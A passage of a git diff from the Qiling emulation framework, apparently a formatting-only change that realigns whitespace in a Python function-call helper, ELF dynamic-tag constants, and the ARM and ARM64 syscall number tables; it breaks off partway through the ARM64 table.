nslots + val = read(si) + si += nslots - values.append(val) + values.append(val) - return values + return values - def writeParams(self, params: Sequence[Tuple[Any, int]]) -> None: - """Walk the function parameters list and set their values. + def writeParams(self, params: Sequence[Tuple[Any, int]]) -> None: + """Walk the function parameters list and set their values. - Args: - params: a sequence of 2-tuples containing parameters types and values - """ + Args: + params: a sequence of 2-tuples containing parameters types and values + """ - default = self.accessors[PARAM_INTN] + default = self.accessors[PARAM_INTN] - si = 0 + si = 0 - for typ, val in params: - _, write, nslots = self.accessors.get(typ, default) + for typ, val in params: + _, write, nslots = self.accessors.get(typ, default) - write(si, val) - si += nslots + write(si, val) + si += nslots - def __count_slots(self, ptypes: Iterable[Any]) -> int: - default = self.accessors[PARAM_INTN] + def __count_slots(self, ptypes: Iterable[Any]) -> int: + default = self.accessors[PARAM_INTN] - return sum(self.accessors.get(typ, default)[2] for typ in ptypes) + return sum(self.accessors.get(typ, default)[2] for typ in ptypes) - @staticmethod - def __get_typed_args(proto: Mapping[str, Any], args: Mapping[str, Any]) -> Iterable[TypedArg]: - types = list(proto.values()) - names = list(args.keys()) - values = list(args.values()) + @staticmethod + def __get_typed_args(proto: Mapping[str, Any], args: Mapping[str, Any]) -> Iterable[TypedArg]: + types = list(proto.values()) + names = list(args.keys()) + values = list(args.values()) - # variadic functions are invoked with unknown set of arguments which - # do not explicitly appear in prototype (there is an ellipsis instead). - # - # when a hooked variadic function is called, it updates the arguments - # mapping with the additional arguments it was given. that makes the - # arguments mapping longer than the prototype mapping; in other words: - # at this point we may have more values and names than types. - # - # here we expand the types list to meet names length, in such a case. - if len(names) > len(types): - types.extend([None] * (len(names) - len(types))) + # variadic functions are invoked with unknown set of arguments which + # do not explicitly appear in prototype (there is an ellipsis instead). + # + # when a hooked variadic function is called, it updates the arguments + # mapping with the additional arguments it was given. that makes the + # arguments mapping longer than the prototype mapping; in other words: + # at this point we may have more values and names than types. + # + # here we expand the types list to meet names length, in such a case. + if len(names) > len(types): + types.extend([None] * (len(names) - len(types))) - return tuple(zip(types, names, values)) + return tuple(zip(types, names, values)) - def call(self, func: CallHook, proto: Mapping[str, Any], params: Mapping[str, Any], hook_onenter: Optional[OnEnterHook], hook_onexit: Optional[OnExitHook], passthru: bool) -> Tuple[Iterable[TypedArg], int, int]: - """Execute a hooked function. + def call(self, func: CallHook, proto: Mapping[str, Any], params: Mapping[str, Any], hook_onenter: Optional[OnEnterHook], hook_onexit: Optional[OnExitHook], passthru: bool) -> Tuple[Iterable[TypedArg], int, int]: + """Execute a hooked function. - Args: - func: function hook - proto: function's parameters types list - params: a mapping of parameter names to their values - hook_onenter: a hook to call before entering function hook - hook_onexit: a hook to call after returning from function hook - passthru: whether to skip stack frame unwinding + Args: + func: function hook + proto: function's parameters types list + params: a mapping of parameter names to their values + hook_onenter: a hook to call before entering function hook + hook_onexit: a hook to call after returning from function hook + passthru: whether to skip stack frame unwinding - Returns: resolved params mapping, return value, return address - """ + Returns: resolved params mapping, return value, return address + """ - ql = self.ql - pc = ql.arch.regs.arch_pc + ql = self.ql + pc = ql.arch.regs.arch_pc - # if set, fire up the on-enter hook and let it override original args set - if hook_onenter: - overrides = hook_onenter(ql, pc, params) + # if set, fire up the on-enter hook and let it override original args set + if hook_onenter: + overrides = hook_onenter(ql, pc, params) - if overrides is not None: - pc, params = overrides + if overrides is not None: + pc, params = overrides - # call function - retval = func(ql, pc, params) + # call function + retval = func(ql, pc, params) - # if set, fire up the on-exit hook and let it override the return value - if hook_onexit: - override = hook_onexit(ql, pc, params, retval) + # if set, fire up the on-exit hook and let it override the return value + if hook_onexit: + override = hook_onexit(ql, pc, params, retval) - if override is not None: - retval = override + if override is not None: + retval = override - # set return value - if retval is not None: - self.cc.setReturnValue(retval) + # set return value + if retval is not None: + self.cc.setReturnValue(retval) - targs = QlFunctionCall.__get_typed_args(proto, params) + targs = QlFunctionCall.__get_typed_args(proto, params) - # TODO: resolve return value + # TODO: resolve return value - # unwind stack frame; note that function prototype sometimes does not - # reflect the actual number of arguments passed to the function, like - # in variadic functions (e.g. printf-like functions). in such case the - # function frame would not be unwinded entirely and cause the program - # to fail or produce funny results. - # - # nevertheless this type of functions never unwind their own frame, - # exactly for the reason they are not aware of the actual number of - # arguments they got. since the caller is responsible for unwinding - # we should be good. + # unwind stack frame; note that function prototype sometimes does not + # reflect the actual number of arguments passed to the function, like + # in variadic functions (e.g. printf-like functions). in such case the + # function frame would not be unwinded entirely and cause the program + # to fail or produce funny results. + # + # nevertheless this type of functions never unwind their own frame, + # exactly for the reason they are not aware of the actual number of + # arguments they got. since the caller is responsible for unwinding + # we should be good. - nslots = self.__count_slots(proto.values()) - retaddr = -1 if passthru else self.cc.unwind(nslots) + nslots = self.__count_slots(proto.values()) + retaddr = -1 if passthru else self.cc.unwind(nslots) - return targs, retval, retaddr + return targs, retval, retaddr - def call_native(self, addr: int, args: Sequence[Tuple[Any, int]], ret: Optional[int]) -> None: - """Call a native function after properly staging its arguments and return address. + def call_native(self, addr: int, args: Sequence[Tuple[Any, int]], ret: Optional[int]) -> None: + """Call a native function after properly staging its arguments and return address. - Args: - addr: function entry point - args: a sequence of 2-tuples containing parameters types and values to pass to the function; may be empty - ret: return address; may be None - """ + Args: + addr: function entry point + args: a sequence of 2-tuples containing parameters types and values to pass to the function; may be empty + ret: return address; may be None + """ - # reserve slots for arguments - nslots = self.__count_slots(atype for atype, _ in args) - self.cc.reserve(nslots) + # reserve slots for arguments + nslots = self.__count_slots(atype for atype, _ in args) + self.cc.reserve(nslots) - if ret is not None: - self.cc.setReturnAddress(ret) + if ret is not None: + self.cc.setReturnAddress(ret) - # set arguments values - self.writeParams(args) + # set arguments values + self.writeParams(args) - # call - self.ql.arch.regs.arch_pc = addr + # call + self.ql.arch.regs.arch_pc = addr diff --git a/qiling/os/linux/function_hook.py b/qiling/os/linux/function_hook.py index 5e7c564d7..d8bbd9415 100644 --- a/qiling/os/linux/function_hook.py +++ b/qiling/os/linux/function_hook.py @@ -9,39 +9,39 @@ from qiling.const import * PT_DYNAMIC = 2 -DT_NULL = 0 -DT_NEEDED = 1 -DT_PLTRELSZ = 2 -DT_PLTGOT = 3 -DT_HASH = 4 -DT_STRTAB = 5 -DT_SYMTAB = 6 -DT_RELA = 7 -DT_RELASZ = 8 -DT_RELAENT = 9 -DT_STRSZ = 10 -DT_SYMENT = 11 -DT_INIT = 12 -DT_FINI = 13 -DT_SONAME = 14 -DT_RPATH = 15 -DT_SYMBOLIC = 16 -DT_REL = 17 -DT_RELSZ = 18 -DT_RELENT = 19 -DT_PLTREL = 20 -DT_DEBUG = 21 -DT_TEXTREL = 22 -DT_JMPREL = 23 -DT_BIND_NOW = 24 -DT_INIT_ARRAY = 25 -DT_FINI_ARRAY = 26 +DT_NULL = 0 +DT_NEEDED = 1 +DT_PLTRELSZ = 2 +DT_PLTGOT = 3 +DT_HASH = 4 +DT_STRTAB = 5 +DT_SYMTAB = 6 +DT_RELA = 7 +DT_RELASZ = 8 +DT_RELAENT = 9 +DT_STRSZ = 10 +DT_SYMENT = 11 +DT_INIT = 12 +DT_FINI = 13 +DT_SONAME = 14 +DT_RPATH = 15 +DT_SYMBOLIC = 16 +DT_REL = 17 +DT_RELSZ = 18 +DT_RELENT = 19 +DT_PLTREL = 20 +DT_DEBUG = 21 +DT_TEXTREL = 22 +DT_JMPREL = 23 +DT_BIND_NOW = 24 +DT_INIT_ARRAY = 25 +DT_FINI_ARRAY = 26 DT_INIT_ARRAYSZ = 27 DT_FINI_ARRAYSZ = 28 -DT_RUNPATH = 29 -DT_FLAGS = 30 -DT_ENCODING = 32 -DT_GNU_HASH = 0x6ffffef5 +DT_RUNPATH = 29 +DT_FLAGS = 30 +DT_ENCODING = 32 +DT_GNU_HASH = 0x6ffffef5 DT_MIPS_LOCAL_GOTNO = 0x7000000a DT_MIPS_SYMTABNO = 0x70000011 @@ -638,14 +638,14 @@ def __init__(self, ql, phoff, phnum, phentsize, load_base, hook_mem): def parse_program_header32(self): # typedef struct elf32_phdr{ - # Elf32_Word p_type; - # Elf32_Off p_offset; - # Elf32_Addr p_vaddr; - # Elf32_Addr p_paddr; - # Elf32_Word p_filesz; - # Elf32_Word p_memsz; - # Elf32_Word p_flags; - # Elf32_Word p_align; + # Elf32_Word p_type; + # Elf32_Off p_offset; + # Elf32_Addr p_vaddr; + # Elf32_Addr p_paddr; + # Elf32_Word p_filesz; + # Elf32_Word p_memsz; + # Elf32_Word p_flags; + # Elf32_Word p_align; # } Elf32_Phdr; # /* 32-bit ELF base types. */ @@ -669,20 +669,20 @@ def parse_program_header64(self): # typedef struct elf64_phdr { # Elf64_Word p_type; # Elf64_Word p_flags; - # Elf64_Off p_offset; /* Segment file offset */ - # Elf64_Addr p_vaddr; /* Segment virtual address */ - # Elf64_Addr p_paddr; /* Segment physical address */ - # Elf64_Xword p_filesz; /* Segment size in file */ - # Elf64_Xword p_memsz; /* Segment size in memory */ - # Elf64_Xword p_align; /* Segment alignment, file & memory */ + # Elf64_Off p_offset; /* Segment file offset */ + # Elf64_Addr p_vaddr; /* Segment virtual address */ + # Elf64_Addr p_paddr; /* Segment physical address */ + # Elf64_Xword p_filesz; /* Segment size in file */ + # Elf64_Xword p_memsz; /* Segment size in memory */ + # Elf64_Xword p_align; /* Segment alignment, file & memory */ # } Elf64_Phdr; # /* 64-bit ELF base types. */ # typedef uint64_t Elf64_Addr; # typedef uint16_t Elf64_Half; - # typedef int16_t Elf64_SHalf; + # typedef int16_t Elf64_SHalf; # typedef uint64_t Elf64_Off; - # typedef int32_t Elf64_Sword; + # typedef int32_t Elf64_Sword; # typedef uint32_t Elf64_Word; # typedef uint64_t Elf64_Xword; # typedef int64_t Elf64_Sxword; @@ -706,20 +706,20 @@ def parse_program_header(self): def parse_dynamic64(self): # typedef struct # { - # Elf64_Sxword d_tag; /* Dynamic entry type */ + # Elf64_Sxword d_tag; /* Dynamic entry type */ # union # { - # Elf64_Xword d_val; /* Integer value */ - # Elf64_Addr d_ptr; /* Address value */ + # Elf64_Xword d_val; /* Integer value */ + # Elf64_Addr d_ptr; /* Address value */ # } d_un; # } Elf64_Dyn; # /* 64-bit ELF base types. */ # typedef uint64_t Elf64_Addr; # typedef uint16_t Elf64_Half; - # typedef int16_t Elf64_SHalf; + # typedef int16_t Elf64_SHalf; # typedef uint64_t Elf64_Off; - # typedef int32_t Elf64_Sword; + # typedef int32_t Elf64_Sword; # typedef uint32_t Elf64_Word; # typedef uint64_t Elf64_Xword; # typedef int64_t Elf64_Sxword; @@ -739,11 +739,11 @@ def parse_dynamic64(self): def parse_dynamic32(self): # typedef struct # { - # Elf32_Sword d_tag; /* Dynamic entry type */ + # Elf32_Sword d_tag; /* Dynamic entry type */ # union # { - # Elf32_Word d_val; /* Integer value */ - # Elf32_Addr d_ptr; /* Address value */ + # Elf32_Word d_val; /* Integer value */ + # Elf32_Addr d_ptr; /* Address value */ # } d_un; # } Elf32_Dyn; diff --git a/qiling/os/linux/map_syscall.py b/qiling/os/linux/map_syscall.py index 3d0bcead8..0584d58d2 100644 --- a/qiling/os/linux/map_syscall.py +++ b/qiling/os/linux/map_syscall.py @@ -30,2942 +30,2942 @@ def __mapper(syscall_num: int) -> str: arm_syscall_table = { 0: "restart_syscall", - 1: "exit", - 2: "fork", - 3: "read", - 4: "write", - 5: "open", - 6: "close", - 8: "creat", - 9: "link", - 10: "unlink", - 11: "execve", - 12: "chdir", + 1: "exit", + 2: "fork", + 3: "read", + 4: "write", + 5: "open", + 6: "close", + 8: "creat", + 9: "link", + 10: "unlink", + 11: "execve", + 12: "chdir", 13: "time", - 14: "mknod", - 15: "chmod", - 16: "lchown", - 19: "lseek", - 20: "getpid", - 21: "mount", - 23: "setuid", - 24: "getuid", - 26: "ptrace", - 29: "pause", - 33: "access", - 34: "nice", - 36: "sync", - 37: "kill", - 38: "rename", - 39: "mkdir", - 40: "rmdir", - 41: "dup", - 42: "pipe", - 43: "times", - 45: "brk", - 46: "setgid", - 47: "getgid", - 49: "geteuid", - 50: "getegid", - 51: "acct", - 52: "umount2", - 54: "ioctl", - 55: "fcntl", - 57: "setpgid", - 60: "umask", - 61: "chroot", - 62: "ustat", - 63: "dup2", - 64: "getppid", - 65: "getpgrp", - 66: "setsid", - 67: "sigaction", - 70: "setreuid", - 71: "setregid", - 72: "sigsuspend", - 73: "sigpending", - 74: "sethostname", - 75: "setrlimit", - 77: "getrusage", - 78: "gettimeofday", - 79: "settimeofday", - 80: "getgroups", - 81: "setgroups", - 83: "symlink", - 85: "readlink", - 86: "uselib", - 87: "swapon", - 88: "reboot", - 91: "munmap", - 92: "truncate", - 93: "ftruncate", - 94: "fchmod", - 95: "fchown", - 96: "getpriority", - 97: "setpriority", - 99: "statfs", - 100: "fstatfs", + 14: "mknod", + 15: "chmod", + 16: "lchown", + 19: "lseek", + 20: "getpid", + 21: "mount", + 23: "setuid", + 24: "getuid", + 26: "ptrace", + 29: "pause", + 33: "access", + 34: "nice", + 36: "sync", + 37: "kill", + 38: "rename", + 39: "mkdir", + 40: "rmdir", + 41: "dup", + 42: "pipe", + 43: "times", + 45: "brk", + 46: "setgid", + 47: "getgid", + 49: "geteuid", + 50: "getegid", + 51: "acct", + 52: "umount2", + 54: "ioctl", + 55: "fcntl", + 57: "setpgid", + 60: "umask", + 61: "chroot", + 62: "ustat", + 63: "dup2", + 64: "getppid", + 65: "getpgrp", + 66: "setsid", + 67: "sigaction", + 70: "setreuid", + 71: "setregid", + 72: "sigsuspend", + 73: "sigpending", + 74: "sethostname", + 75: "setrlimit", + 77: "getrusage", + 78: "gettimeofday", + 79: "settimeofday", + 80: "getgroups", + 81: "setgroups", + 83: "symlink", + 85: "readlink", + 86: "uselib", + 87: "swapon", + 88: "reboot", + 91: "munmap", + 92: "truncate", + 93: "ftruncate", + 94: "fchmod", + 95: "fchown", + 96: "getpriority", + 97: "setpriority", + 99: "statfs", + 100: "fstatfs", 102: "socketcall", - 103: "syslog", - 104: "setitimer", - 105: "getitimer", - 106: "stat", - 107: "lstat", - 108: "fstat", - 111: "vhangup", + 103: "syslog", + 104: "setitimer", + 105: "getitimer", + 106: "stat", + 107: "lstat", + 108: "fstat", + 111: "vhangup", 113: "syscall", - 114: "wait4", - 115: "swapoff", - 116: "sysinfo", - 118: "fsync", - 119: "sigreturn", - 120: "clone", - 121: "setdomainname", - 122: "uname", - 124: "adjtimex", - 125: "mprotect", - 126: "sigprocmask", - 128: "init_module", - 129: "delete_module", - 131: "quotactl", - 132: "getpgid", - 133: "fchdir", - 134: "bdflush", - 135: "sysfs", - 136: "personality", - 138: "setfsuid", - 139: "setfsgid", - 140: "_llseek", - 141: "getdents", - 142: "_newselect", - 143: "flock", - 144: "msync", - 145: "readv", - 146: "writev", - 147: "getsid", - 148: "fdatasync", - 149: "_sysctl", - 150: "mlock", - 151: "munlock", - 152: "mlockall", - 153: "munlockall", - 154: "sched_setparam", - 155: "sched_getparam", - 156: "sched_setscheduler", - 157: "sched_getscheduler", - 158: "sched_yield", - 159: "sched_get_priority_max", - 160: "sched_get_priority_min", - 161: "sched_rr_get_interval", - 162: "nanosleep", - 163: "mremap", - 164: "setresuid", - 165: "getresuid", - 168: "poll", - 169: "nfsservctl", - 170: "setresgid", - 171: "getresgid", - 172: "prctl", - 173: "rt_sigreturn", - 174: "rt_sigaction", - 175: "rt_sigprocmask", - 176: "rt_sigpending", - 177: "rt_sigtimedwait", - 178: "rt_sigqueueinfo", - 179: "rt_sigsuspend", - 180: "pread64", - 181: "pwrite64", - 182: "chown", - 183: "getcwd", - 184: "capget", - 185: "capset", - 186: "sigaltstack", - 187: "sendfile", - 190: "vfork", - 191: "ugetrlimit", - 192: "mmap2", - 193: "truncate64", - 194: "ftruncate64", - 195: "stat64", - 196: "lstat64", - 197: "fstat64", - 198: "lchown32", - 199: "getuid32", - 200: "getgid32", - 201: "geteuid32", - 202: "getegid32", - 203: "setreuid32", - 204: "setregid32", - 205: "getgroups32", - 206: "setgroups32", - 207: "fchown32", - 208: "setresuid32", - 209: "getresuid32", - 210: "setresgid32", - 211: "getresgid32", - 212: "chown32", - 213: "setuid32", - 214: "setgid32", - 215: "setfsuid32", - 216: "setfsgid32", - 217: "getdents64", - 218: "pivot_root", - 219: "mincore", - 220: "madvise", - 221: "fcntl64", - 224: "gettid", - 225: "readahead", - 226: "setxattr", - 227: "lsetxattr", - 228: "fsetxattr", - 229: "getxattr", - 230: "lgetxattr", - 231: "fgetxattr", - 232: "listxattr", - 233: "llistxattr", - 234: "flistxattr", - 235: "removexattr", - 236: "lremovexattr", - 237: "fremovexattr", - 238: "tkill", - 239: "sendfile64", - 240: "futex", - 241: "sched_setaffinity", - 242: "sched_getaffinity", - 243: "io_setup", - 244: "io_destroy", - 245: "io_getevents", - 246: "io_submit", - 247: "io_cancel", - 248: "exit_group", - 249: "lookup_dcookie", - 250: "epoll_create", - 251: "epoll_ctl", - 252: "epoll_wait", - 253: "remap_file_pages", - 256: "set_tid_address", - 257: "timer_create", - 258: "timer_settime", - 259: "timer_gettime", - 260: "timer_getoverrun", - 261: "timer_delete", - 262: "clock_settime", - 263: "clock_gettime", - 264: "clock_getres", - 265: "clock_nanosleep", - 266: "statfs64", - 267: "fstatfs64", - 268: "tgkill", - 269: "utimes", - 270: "arm_fadvise64_64", - 271: "pciconfig_iobase", - 272: "pciconfig_read", - 273: "pciconfig_write", - 274: "mq_open", - 275: "mq_unlink", - 276: "mq_timedsend", - 277: "mq_timedreceive", - 278: "mq_notify", - 279: "mq_getsetattr", - 280: "waitid", - 281: "socket", - 282: "bind", - 283: "connect", - 284: "listen", - 285: "accept", - 286: "getsockname", - 287: "getpeername", - 288: "socketpair", - 289: "send", - 290: "sendto", - 291: "recv", - 292: "recvfrom", - 293: "shutdown", - 294: "setsockopt", - 295: "getsockopt", - 296: "sendmsg", - 297: "recvmsg", - 298: "semop", - 299: "semget", - 300: "semctl", - 301: "msgsnd", - 302: "msgrcv", - 303: "msgget", - 304: "msgctl", - 305: "shmat", - 306: "shmdt", - 307: "shmget", - 308: "shmctl", - 309: "add_key", - 310: "request_key", - 311: "keyctl", - 312: "semtimedop", - 314: "ioprio_set", - 315: "ioprio_get", - 316: "inotify_init", - 317: "inotify_add_watch", - 318: "inotify_rm_watch", - 319: "mbind", - 320: "get_mempolicy", - 321: "set_mempolicy", - 322: "openat", - 323: "mkdirat", - 324: "mknodat", - 325: "fchownat", - 326: "futimesat", - 327: "fstatat64", - 328: "unlinkat", - 329: "renameat", - 330: "linkat", - 331: "symlinkat", - 332: "readlinkat", - 333: "fchmodat", - 334: "faccessat", - 335: "pselect6", - 336: "ppoll", - 337: "unshare", - 338: "set_robust_list", - 339: "get_robust_list", - 340: "splice", - 341: "sync_file_range2", - 342: "tee", - 343: "vmsplice", - 344: "move_pages", - 345: "getcpu", - 346: "epoll_pwait", - 347: "kexec_load", - 348: "utimensat", - 349: "signalfd", - 350: "timerfd_create", - 351: "eventfd", - 352: "fallocate", - 353: "timerfd_settime", - 354: "timerfd_gettime", - 355: "signalfd4", - 356: "eventfd2", - 357: "epoll_create1", - 358: "dup3", - 359: "pipe2", - 360: "inotify_init1", - 361: "preadv", - 362: "pwritev", - 363: "rt_tgsigqueueinfo", - 364: "perf_event_open", - 365: "recvmmsg", - 366: "accept4", - 367: "fanotify_init", - 368: "fanotify_mark", - 369: "prlimit64", - 370: "name_to_handle_at", - 371: "open_by_handle_at", - 372: "clock_adjtime", - 373: "syncfs", - 374: "sendmmsg", - 375: "setns", - 376: "process_vm_readv", - 377: "process_vm_writev", - 378: "kcmp", - 379: "finit_module", - 380: "sched_setattr", - 381: "sched_getattr", - 382: "renameat2", - 383: "seccomp", - 384: "getrandom", - 385: "memfd_create", - 386: "bpf", - 387: "execveat", - 388: "userfaultfd", - 389: "membarrier", - 390: "mlock2", - 391: "copy_file_range", - 392: "preadv2", - 393: "pwritev2", - 394: "pkey_mprotect", - 395: "pkey_alloc", - 396: "pkey_free", - 397: "statx", - 398: "rseq", - 399: "io_pgetevents", - 400: "migrate_pages", - 401: "kexec_file_load", - 403: "clock_gettime64", - 404: "clock_settime64", - 405: "clock_adjtime64", - 406: "clock_getres_time64", - 407: "clock_nanosleep_time64", - 408: "timer_gettime64", - 409: "timer_settime64", - 410: "timerfd_gettime64", - 411: "timerfd_settime64", - 412: "utimensat_time64", - 413: "pselect6_time64", - 414: "ppoll_time64", - 416: "io_pgetevents_time64", - 417: "recvmmsg_time64", - 418: "mq_timedsend_time64", - 419: "mq_timedreceive_time64", - 420: "semtimedop_time64", - 421: "rt_sigtimedwait_time64", - 422: "futex_time64", - 423: "sched_rr_get_interval_time64", - 424: "pidfd_send_signal", - 425: "io_uring_setup", - 426: "io_uring_enter", - 427: "io_uring_register", - 428: "open_tree", - 429: "move_mount", - 430: "fsopen", - 431: "fsconfig", - 432: "fsmount", - 433: "fspick", - 434: "pidfd_open", - 435: "clone3", - 436: "close_range", - 437: "openat2", - 438: "pidfd_getfd", - 439: "faccessat2", - 440: "process_madvise", - 441: "epoll_pwait2", - 442: "mount_setattr", - 443: "quotactl_fd", - 444: "landlock_create_ruleset", - 445: "landlock_add_rule", - 446: "landlock_restrict_self", - 448: "process_mrelease", + 114: "wait4", + 115: "swapoff", + 116: "sysinfo", + 118: "fsync", + 119: "sigreturn", + 120: "clone", + 121: "setdomainname", + 122: "uname", + 124: "adjtimex", + 125: "mprotect", + 126: "sigprocmask", + 128: "init_module", + 129: "delete_module", + 131: "quotactl", + 132: "getpgid", + 133: "fchdir", + 134: "bdflush", + 135: "sysfs", + 136: "personality", + 138: "setfsuid", + 139: "setfsgid", + 140: "_llseek", + 141: "getdents", + 142: "_newselect", + 143: "flock", + 144: "msync", + 145: "readv", + 146: "writev", + 147: "getsid", + 148: "fdatasync", + 149: "_sysctl", + 150: "mlock", + 151: "munlock", + 152: "mlockall", + 153: "munlockall", + 154: "sched_setparam", + 155: "sched_getparam", + 156: "sched_setscheduler", + 157: "sched_getscheduler", + 158: "sched_yield", + 159: "sched_get_priority_max", + 160: "sched_get_priority_min", + 161: "sched_rr_get_interval", + 162: "nanosleep", + 163: "mremap", + 164: "setresuid", + 165: "getresuid", + 168: "poll", + 169: "nfsservctl", + 170: "setresgid", + 171: "getresgid", + 172: "prctl", + 173: "rt_sigreturn", + 174: "rt_sigaction", + 175: "rt_sigprocmask", + 176: "rt_sigpending", + 177: "rt_sigtimedwait", + 178: "rt_sigqueueinfo", + 179: "rt_sigsuspend", + 180: "pread64", + 181: "pwrite64", + 182: "chown", + 183: "getcwd", + 184: "capget", + 185: "capset", + 186: "sigaltstack", + 187: "sendfile", + 190: "vfork", + 191: "ugetrlimit", + 192: "mmap2", + 193: "truncate64", + 194: "ftruncate64", + 195: "stat64", + 196: "lstat64", + 197: "fstat64", + 198: "lchown32", + 199: "getuid32", + 200: "getgid32", + 201: "geteuid32", + 202: "getegid32", + 203: "setreuid32", + 204: "setregid32", + 205: "getgroups32", + 206: "setgroups32", + 207: "fchown32", + 208: "setresuid32", + 209: "getresuid32", + 210: "setresgid32", + 211: "getresgid32", + 212: "chown32", + 213: "setuid32", + 214: "setgid32", + 215: "setfsuid32", + 216: "setfsgid32", + 217: "getdents64", + 218: "pivot_root", + 219: "mincore", + 220: "madvise", + 221: "fcntl64", + 224: "gettid", + 225: "readahead", + 226: "setxattr", + 227: "lsetxattr", + 228: "fsetxattr", + 229: "getxattr", + 230: "lgetxattr", + 231: "fgetxattr", + 232: "listxattr", + 233: "llistxattr", + 234: "flistxattr", + 235: "removexattr", + 236: "lremovexattr", + 237: "fremovexattr", + 238: "tkill", + 239: "sendfile64", + 240: "futex", + 241: "sched_setaffinity", + 242: "sched_getaffinity", + 243: "io_setup", + 244: "io_destroy", + 245: "io_getevents", + 246: "io_submit", + 247: "io_cancel", + 248: "exit_group", + 249: "lookup_dcookie", + 250: "epoll_create", + 251: "epoll_ctl", + 252: "epoll_wait", + 253: "remap_file_pages", + 256: "set_tid_address", + 257: "timer_create", + 258: "timer_settime", + 259: "timer_gettime", + 260: "timer_getoverrun", + 261: "timer_delete", + 262: "clock_settime", + 263: "clock_gettime", + 264: "clock_getres", + 265: "clock_nanosleep", + 266: "statfs64", + 267: "fstatfs64", + 268: "tgkill", + 269: "utimes", + 270: "arm_fadvise64_64", + 271: "pciconfig_iobase", + 272: "pciconfig_read", + 273: "pciconfig_write", + 274: "mq_open", + 275: "mq_unlink", + 276: "mq_timedsend", + 277: "mq_timedreceive", + 278: "mq_notify", + 279: "mq_getsetattr", + 280: "waitid", + 281: "socket", + 282: "bind", + 283: "connect", + 284: "listen", + 285: "accept", + 286: "getsockname", + 287: "getpeername", + 288: "socketpair", + 289: "send", + 290: "sendto", + 291: "recv", + 292: "recvfrom", + 293: "shutdown", + 294: "setsockopt", + 295: "getsockopt", + 296: "sendmsg", + 297: "recvmsg", + 298: "semop", + 299: "semget", + 300: "semctl", + 301: "msgsnd", + 302: "msgrcv", + 303: "msgget", + 304: "msgctl", + 305: "shmat", + 306: "shmdt", + 307: "shmget", + 308: "shmctl", + 309: "add_key", + 310: "request_key", + 311: "keyctl", + 312: "semtimedop", + 314: "ioprio_set", + 315: "ioprio_get", + 316: "inotify_init", + 317: "inotify_add_watch", + 318: "inotify_rm_watch", + 319: "mbind", + 320: "get_mempolicy", + 321: "set_mempolicy", + 322: "openat", + 323: "mkdirat", + 324: "mknodat", + 325: "fchownat", + 326: "futimesat", + 327: "fstatat64", + 328: "unlinkat", + 329: "renameat", + 330: "linkat", + 331: "symlinkat", + 332: "readlinkat", + 333: "fchmodat", + 334: "faccessat", + 335: "pselect6", + 336: "ppoll", + 337: "unshare", + 338: "set_robust_list", + 339: "get_robust_list", + 340: "splice", + 341: "sync_file_range2", + 342: "tee", + 343: "vmsplice", + 344: "move_pages", + 345: "getcpu", + 346: "epoll_pwait", + 347: "kexec_load", + 348: "utimensat", + 349: "signalfd", + 350: "timerfd_create", + 351: "eventfd", + 352: "fallocate", + 353: "timerfd_settime", + 354: "timerfd_gettime", + 355: "signalfd4", + 356: "eventfd2", + 357: "epoll_create1", + 358: "dup3", + 359: "pipe2", + 360: "inotify_init1", + 361: "preadv", + 362: "pwritev", + 363: "rt_tgsigqueueinfo", + 364: "perf_event_open", + 365: "recvmmsg", + 366: "accept4", + 367: "fanotify_init", + 368: "fanotify_mark", + 369: "prlimit64", + 370: "name_to_handle_at", + 371: "open_by_handle_at", + 372: "clock_adjtime", + 373: "syncfs", + 374: "sendmmsg", + 375: "setns", + 376: "process_vm_readv", + 377: "process_vm_writev", + 378: "kcmp", + 379: "finit_module", + 380: "sched_setattr", + 381: "sched_getattr", + 382: "renameat2", + 383: "seccomp", + 384: "getrandom", + 385: "memfd_create", + 386: "bpf", + 387: "execveat", + 388: "userfaultfd", + 389: "membarrier", + 390: "mlock2", + 391: "copy_file_range", + 392: "preadv2", + 393: "pwritev2", + 394: "pkey_mprotect", + 395: "pkey_alloc", + 396: "pkey_free", + 397: "statx", + 398: "rseq", + 399: "io_pgetevents", + 400: "migrate_pages", + 401: "kexec_file_load", + 403: "clock_gettime64", + 404: "clock_settime64", + 405: "clock_adjtime64", + 406: "clock_getres_time64", + 407: "clock_nanosleep_time64", + 408: "timer_gettime64", + 409: "timer_settime64", + 410: "timerfd_gettime64", + 411: "timerfd_settime64", + 412: "utimensat_time64", + 413: "pselect6_time64", + 414: "ppoll_time64", + 416: "io_pgetevents_time64", + 417: "recvmmsg_time64", + 418: "mq_timedsend_time64", + 419: "mq_timedreceive_time64", + 420: "semtimedop_time64", + 421: "rt_sigtimedwait_time64", + 422: "futex_time64", + 423: "sched_rr_get_interval_time64", + 424: "pidfd_send_signal", + 425: "io_uring_setup", + 426: "io_uring_enter", + 427: "io_uring_register", + 428: "open_tree", + 429: "move_mount", + 430: "fsopen", + 431: "fsconfig", + 432: "fsmount", + 433: "fspick", + 434: "pidfd_open", + 435: "clone3", + 436: "close_range", + 437: "openat2", + 438: "pidfd_getfd", + 439: "faccessat2", + 440: "process_madvise", + 441: "epoll_pwait2", + 442: "mount_setattr", + 443: "quotactl_fd", + 444: "landlock_create_ruleset", + 445: "landlock_add_rule", + 446: "landlock_restrict_self", + 448: "process_mrelease", 983042: "cacheflush", 983045: "set_tls", } arm64_syscall_table = { 0: "io_setup", - 1: "io_destroy", - 2: "io_submit", - 3: "io_cancel", - 4: "io_getevents", - 5: "setxattr", - 6: "lsetxattr", - 7: "fsetxattr", - 8: "getxattr", - 9: "lgetxattr", - 10: "fgetxattr", - 11: "listxattr", - 12: "llistxattr", - 13: "flistxattr", - 14: "removexattr", - 15: "lremovexattr", - 16: "fremovexattr", - 17: "getcwd", - 18: "lookup_dcookie", - 19: "eventfd2", - 20: "epoll_create1", - 21: "epoll_ctl", - 22: "epoll_pwait", - 23: "dup", - 24: "dup3", - 25: "fcntl", - 26: "inotify_init1", - 27: "inotify_add_watch", - 28: "inotify_rm_watch", - 29: "ioctl", - 30: "ioprio_set", - 31: "ioprio_get", - 32: "flock", - 33: "mknodat", - 34: "mkdirat", - 35: "unlinkat", - 36: "symlinkat", - 37: "linkat", - 38: "renameat", - 39: "umount2", - 40: "mount", - 41: "pivot_root", - 42: "nfsservctl", - 43: "statfs", - 44: "fstatfs", - 45: "truncate", - 46: "ftruncate", - 47: "fallocate", - 48: "faccessat", - 49: "chdir", - 50: "fchdir", - 51: "chroot", - 52: "fchmod", - 53: "fchmodat", - 54: "fchownat", - 55: "fchown", - 56: "openat", - 57: "close", - 58: "vhangup", - 59: "pipe2", - 60: "quotactl", - 61: "getdents64", - 62: "lseek", - 63: "read", - 64: "write", - 65: "readv", - 66: "writev", - 67: "pread64", - 68: 